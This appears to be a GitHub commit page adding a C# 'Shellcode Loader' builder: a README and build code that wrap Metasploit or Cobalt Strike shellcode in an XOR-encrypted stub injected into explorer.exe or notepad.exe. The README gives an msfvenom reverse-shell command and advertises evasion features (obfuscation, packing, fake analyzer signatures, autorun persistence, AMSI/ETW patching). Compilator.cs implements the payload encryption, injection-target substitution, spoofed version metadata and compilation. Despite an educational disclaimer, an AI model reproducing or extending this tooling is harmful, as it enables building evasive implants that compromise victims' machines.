Skip to content

Commit a01eb98

Browse files
committed
-
1 parent c4b50eb commit a01eb98

29 files changed

+5467
-0
lines changed

1.png

90.1 KB
Loading

2.png

203 KB
Loading

3.png

15.9 KB
Loading

README.md

+54
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
# ⚔️ <b>Shellcode Loader 1.0</b>
2+
>![Banner](banner.png)
3+
4+
```diff
5+
- to compile this project required and dnlib package
6+
```
7+
8+
# 📕 About
9+
> <b>This is a simple implementation of my automated shellcode-loader builder when we do not have an executable file or we need to take the shellcode directly from the file and implement a program that needs to be loaded onto the end station, I automated this a little with support for shellcode encryption, its bytes are taken and encrypted using xor and when launched, they are decrypted in memory in one of these processes "explorer" or "notepad", so far there are only 2 processes to choose from, in the future I will slightly correct this option. The builder also has support for a packer to compress the main loader and hide static signatures, and there is also an obfuscator functionality containing various loader mutation algorithms, these are simple algorithms designed for simple obfuscation, there is also support for fake signatures for the DIE static analyzer. The actual shellcode bytes are taken and parsed directly from the file, their pattern is { 0x... <PAYLOAD BYTES> }. Then the standard process: encryption, transfer to the loader stub and compilation.</b>
10+
11+
# 💉 Support shellcode:
12+
1) Metasploit shellcode (csharp)
13+
2) Cobalt Strike shellcode (csharp)
14+
15+
```shell
16+
msfvenom -p windows/shell_reverse_tcp LHOST=<iface> LPORT=<port> -f csharp > shell.txt # metaslpoit
17+
18+
# Cobalt Strike
19+
Payloads -> Stager Payload Generator
20+
Output -> C#
21+
Use x64 payload -> set true
22+
```
23+
<br>
24+
25+
# ⚙️ Features
26+
- 🖥️ **Compress**: Simple implementation of compression and hiding of static signatures of the main loader.
27+
- ⚔️ **Shellcode Encryption**: Shellcode Byte Encryption and Decryption and their Implementation in Memory.
28+
- 🚀 **Autorun**: Autostart application after OS restart.
29+
- ⚙️ **Conditional Compilation**: Allows the builder to include only the features and options chosen by the user, making the final build more streamlined.
30+
- 🔒 **Custom Renaming and Obfuscation**: Includes customizable renaming of functions and string encryption to make the code less readable and harder to analyze.
31+
- 🎃 **Amsi/Etw patches**: Support for "EtwEventTrace" patches and "AmsiScanBuffer" functions.
32+
<br>
33+
34+
# 📽️ Showcase:
35+
36+
37+
## 📸 **Screens**:
38+
> ![1](1.png)
39+
> ![2](2.png)
40+
> ![3](3.png)
41+
<br>
42+
43+
## ⚠️ **Disclaimer**:
44+
```
45+
This project is for educational purposes only, intended for studying malware and security techniques. The author is not responsible for any malicious use of this software.
46+
```
47+
<br>
48+
49+
# ⭐ Credits
50+
51+
- **Author**: <a href="https://github.com/k3rnel-dev">@K3rnel-Dev</a>
52+
- **dnlib**: A library for manipulating .NET assemblies.
53+
GitHub: [https://github.com/0xd4d/dnlib](https://github.com/0xd4d/dnlib)
54+
---

ShellcodeLoader/Builder.sln

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 16
4+
VisualStudioVersion = 16.0.34931.43
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Builder", "Builder\Builder.csproj", "{E8A34EFA-1A09-45ED-BEFE-20C865010118}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Any CPU = Debug|Any CPU
11+
Release|Any CPU = Release|Any CPU
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{E8A34EFA-1A09-45ED-BEFE-20C865010118}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15+
{E8A34EFA-1A09-45ED-BEFE-20C865010118}.Debug|Any CPU.Build.0 = Debug|Any CPU
16+
{E8A34EFA-1A09-45ED-BEFE-20C865010118}.Release|Any CPU.ActiveCfg = Release|Any CPU
17+
{E8A34EFA-1A09-45ED-BEFE-20C865010118}.Release|Any CPU.Build.0 = Release|Any CPU
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
GlobalSection(ExtensibilityGlobals) = postSolution
23+
SolutionGuid = {591206BC-DA35-4CB2-B40C-BA22456B8201}
24+
EndGlobalSection
25+
EndGlobal
+115
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
4+
<PropertyGroup>
5+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
6+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
7+
<ProjectGuid>{E8A34EFA-1A09-45ED-BEFE-20C865010118}</ProjectGuid>
8+
<OutputType>WinExe</OutputType>
9+
<RootNamespace>Builder</RootNamespace>
10+
<AssemblyName>PROLoader</AssemblyName>
11+
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
12+
<FileAlignment>512</FileAlignment>
13+
<Deterministic>true</Deterministic>
14+
</PropertyGroup>
15+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
16+
<PlatformTarget>AnyCPU</PlatformTarget>
17+
<DebugSymbols>true</DebugSymbols>
18+
<DebugType>full</DebugType>
19+
<Optimize>false</Optimize>
20+
<OutputPath>bin\Debug\</OutputPath>
21+
<DefineConstants>DEBUG;TRACE</DefineConstants>
22+
<ErrorReport>prompt</ErrorReport>
23+
<WarningLevel>4</WarningLevel>
24+
</PropertyGroup>
25+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
26+
<PlatformTarget>AnyCPU</PlatformTarget>
27+
<DebugType>none</DebugType>
28+
<Optimize>true</Optimize>
29+
<OutputPath>Binaries\</OutputPath>
30+
<DefineConstants>TRACE</DefineConstants>
31+
<ErrorReport>none</ErrorReport>
32+
<WarningLevel>4</WarningLevel>
33+
</PropertyGroup>
34+
<PropertyGroup>
35+
<ApplicationIcon>icon.ico</ApplicationIcon>
36+
</PropertyGroup>
37+
<PropertyGroup>
38+
<StartupObject />
39+
</PropertyGroup>
40+
<ItemGroup>
41+
<Reference Include="dnlib, Version=4.4.0.0, Culture=neutral, PublicKeyToken=50e96378b6e77999, processorArchitecture=MSIL">
42+
<HintPath>..\packages\dnlib.4.4.0\lib\net35\dnlib.dll</HintPath>
43+
</Reference>
44+
<Reference Include="System" />
45+
<Reference Include="System.Core" />
46+
<Reference Include="System.Data.DataSetExtensions" />
47+
<Reference Include="Microsoft.CSharp" />
48+
<Reference Include="System.Data" />
49+
<Reference Include="System.Deployment" />
50+
<Reference Include="System.Drawing" />
51+
<Reference Include="System.Messaging" />
52+
<Reference Include="System.Windows.Forms" />
53+
<Reference Include="System.Xml" />
54+
</ItemGroup>
55+
<ItemGroup>
56+
<Compile Include="Core\Compilator.cs" />
57+
<Compile Include="Core\Helper.cs" />
58+
<Compile Include="Core\HelperCompress.cs" />
59+
<Compile Include="Core\Obfuscator.cs" />
60+
<Compile Include="Core\PackerCompilator.cs" />
61+
<Compile Include="Form\CMain.cs">
62+
<SubType>Form</SubType>
63+
</Compile>
64+
<Compile Include="Form\CMain.Designer.cs">
65+
<DependentUpon>CMain.cs</DependentUpon>
66+
</Compile>
67+
<None Include="packages.config" />
68+
<None Include="Resources\stub.cs" />
69+
<None Include="Resources\PackerStub.cs" />
70+
<Compile Include="Runtime.cs" />
71+
<Compile Include="Properties\AssemblyInfo.cs" />
72+
<EmbeddedResource Include="Form\CMain.resx">
73+
<DependentUpon>CMain.cs</DependentUpon>
74+
</EmbeddedResource>
75+
<EmbeddedResource Include="Properties\Resources.resx">
76+
<Generator>ResXFileCodeGenerator</Generator>
77+
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
78+
<SubType>Designer</SubType>
79+
</EmbeddedResource>
80+
<Compile Include="Properties\Resources.Designer.cs">
81+
<AutoGen>True</AutoGen>
82+
<DependentUpon>Resources.resx</DependentUpon>
83+
<DesignTime>True</DesignTime>
84+
</Compile>
85+
<None Include="Properties\Settings.settings">
86+
<Generator>SettingsSingleFileGenerator</Generator>
87+
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
88+
</None>
89+
<Compile Include="Properties\Settings.Designer.cs">
90+
<AutoGen>True</AutoGen>
91+
<DependentUpon>Settings.settings</DependentUpon>
92+
<DesignTimeSharedInput>True</DesignTimeSharedInput>
93+
</Compile>
94+
</ItemGroup>
95+
<ItemGroup>
96+
<None Include="Resources\logo.png" />
97+
</ItemGroup>
98+
<ItemGroup>
99+
<None Include="Resources\Cobalt_Strike_logo.png" />
100+
</ItemGroup>
101+
<ItemGroup>
102+
<None Include="Resources\close.png" />
103+
</ItemGroup>
104+
<ItemGroup>
105+
<None Include="Resources\expand.png" />
106+
</ItemGroup>
107+
<ItemGroup>
108+
<Content Include="icon.ico" />
109+
</ItemGroup>
110+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
111+
<PropertyGroup>
112+
<PostBuildEvent>
113+
</PostBuildEvent>
114+
</PropertyGroup>
115+
</Project>
+161
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
using Microsoft.CSharp;
2+
using System;
3+
using System.CodeDom.Compiler;
4+
using System.IO;
5+
using System.Linq;
6+
using System.Text.RegularExpressions;
7+
8+
namespace Builder.Core
9+
{
10+
class Compilator
11+
{
12+
#region Compile Init
13+
public static string PerformCompilate
14+
(
15+
string targetFile, string outPath, bool a64, bool a86,
16+
string IconFile, string AssemblyFile, bool UseObfuscate, bool UseAutorun, bool UseCompress, string injectProcess
17+
)
18+
{
19+
if (File.Exists(targetFile))
20+
{
21+
byte[] RandomXor = Helper.GenerateRandomBytes(32);
22+
23+
byte[] bytePayload = Helper.EncryptShellcodeFromFile(targetFile, RandomXor);
24+
25+
string result = CompileStub(bytePayload, RandomXor, outPath, a64, a86, IconFile, AssemblyFile, UseObfuscate, UseAutorun, UseCompress, injectProcess);
26+
return result;
27+
}
28+
29+
return "Failed to compile!\nFile does not exists. . .";
30+
}
31+
#endregion
32+
33+
#region Compile Algorithm
34+
public static string CompileStub
35+
(
36+
byte[] encPayload, byte[] key, string outPath, bool a64, bool a86,
37+
string IconFile, string AssemblyFile, bool UseObfuscate, bool UseAutorun, bool UseCompress, string injectProcess
38+
)
39+
{
40+
string stubSourceCode = Properties.Resources.stub;
41+
42+
if (injectProcess.Contains("explorer"))
43+
{
44+
stubSourceCode = stubSourceCode.Replace("%process_to_inject%", "C:\\\\Windows\\\\explorer.exe");
45+
}
46+
47+
else
48+
{
49+
stubSourceCode = stubSourceCode.Replace("%process_to_inject%", "c:\\\\windows\\\\system32\\\\notepad.exe");
50+
}
51+
52+
53+
string hexArray = Helper.GenerateHexArray(encPayload);
54+
55+
stubSourceCode = Regex.Replace(
56+
stubSourceCode,
57+
@"public static byte\[\] Payload = new byte\[\] \{.*?\};",
58+
"public static byte[] Payload = " + hexArray,
59+
RegexOptions.Singleline
60+
);
61+
62+
string newKey = "public static byte[] Key = new byte[] { " + string.Join(", ", key.Select(b => "0x" + b.ToString("X2"))) + " };";
63+
stubSourceCode = Regex.Replace(
64+
stubSourceCode,
65+
@"public static byte\[\] Key = new byte\[\] \{.*?\};",
66+
newKey,
67+
RegexOptions.Singleline
68+
);
69+
70+
CompilerParameters parameters = new CompilerParameters
71+
{
72+
GenerateExecutable = true,
73+
OutputAssembly = outPath,
74+
CompilerOptions = "/target:winexe",
75+
IncludeDebugInformation = false
76+
};
77+
78+
if (a64)
79+
{
80+
parameters.CompilerOptions += " /platform:x64";
81+
}
82+
83+
if (a86)
84+
{
85+
parameters.CompilerOptions += " /platform:x86";
86+
}
87+
88+
if (UseAutorun)
89+
{
90+
parameters.CompilerOptions += " /define:UseAutorun";
91+
}
92+
93+
if (!string.IsNullOrEmpty(AssemblyFile) && File.Exists(AssemblyFile))
94+
{
95+
parameters.CompilerOptions += " /define:UseAssembly";
96+
var metadata = File.ReadAllLines(AssemblyFile);
97+
98+
string title = metadata.Length > 0 ? metadata[0] : "N/A";
99+
string description = metadata.Length > 1 ? metadata[1] : "N/A";
100+
string company = metadata.Length > 2 ? metadata[2] : "N/A";
101+
string product = metadata.Length > 3 ? metadata[3] : "N/A";
102+
string copyright = metadata.Length > 4 ? metadata[4] : "N/A";
103+
string trademarks = metadata.Length > 5 ? metadata[5] : "N/A";
104+
string fileVersion = metadata.Length > 6 ? metadata[6] : "N/A";
105+
string productVersion = metadata.Length > 7 ? metadata[7] : "N/A";
106+
107+
stubSourceCode = stubSourceCode.Replace("%TITLE%", title);
108+
stubSourceCode = stubSourceCode.Replace("%DESC%", description);
109+
stubSourceCode = stubSourceCode.Replace("%COMPANY%", company);
110+
stubSourceCode = stubSourceCode.Replace("%PRODUCT%", product);
111+
stubSourceCode = stubSourceCode.Replace("%COPYRIGHT%", copyright);
112+
stubSourceCode = stubSourceCode.Replace("%TRADEMARK%", trademarks);
113+
stubSourceCode = stubSourceCode.Replace("%VERSION%", productVersion);
114+
stubSourceCode = stubSourceCode.Replace("%FILE_VERSION%", fileVersion);
115+
}
116+
117+
parameters.ReferencedAssemblies.Add("System.dll");
118+
parameters.ReferencedAssemblies.Add("System.Core.dll");
119+
parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
120+
parameters.ReferencedAssemblies.Add("System.Diagnostics.Process.dll");
121+
parameters.ReferencedAssemblies.Add("System.Linq.dll");
122+
123+
if (!string.IsNullOrEmpty(IconFile) && File.Exists(IconFile))
124+
{
125+
parameters.CompilerOptions += $" /win32icon:\"{IconFile}\"";
126+
}
127+
128+
using (CSharpCodeProvider codeProvider = new CSharpCodeProvider())
129+
{
130+
CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters, stubSourceCode);
131+
132+
if (results.Errors.Count > 0)
133+
{
134+
foreach (CompilerError error in results.Errors)
135+
{
136+
Console.WriteLine($"Error compilation: {error.ErrorText}");
137+
Console.WriteLine($"File: {error.FileName}");
138+
Console.WriteLine($"String: {error.Line}, Column: {error.Column}");
139+
Console.WriteLine($"ID Error: {error.ErrorNumber}");
140+
Console.WriteLine($"This {(error.IsWarning ? "Warning" : "Error")}");
141+
Console.WriteLine(new string('-', 50));
142+
}
143+
throw new InvalidOperationException("Failed to compilate.");
144+
}
145+
}
146+
147+
if (UseObfuscate)
148+
{
149+
Obfuscator.PerformObfuscation(outPath);
150+
}
151+
152+
if (UseCompress)
153+
{
154+
PackerCompilator.PerformPacking(outPath, UseObfuscate, IconFile, AssemblyFile);
155+
}
156+
157+
return $"Compiling successfull!\nBuild-File: {Path.GetFileNameWithoutExtension(outPath)}";
158+
}
159+
#endregion
160+
}
161+
}

0 commit comments

Comments
 (0)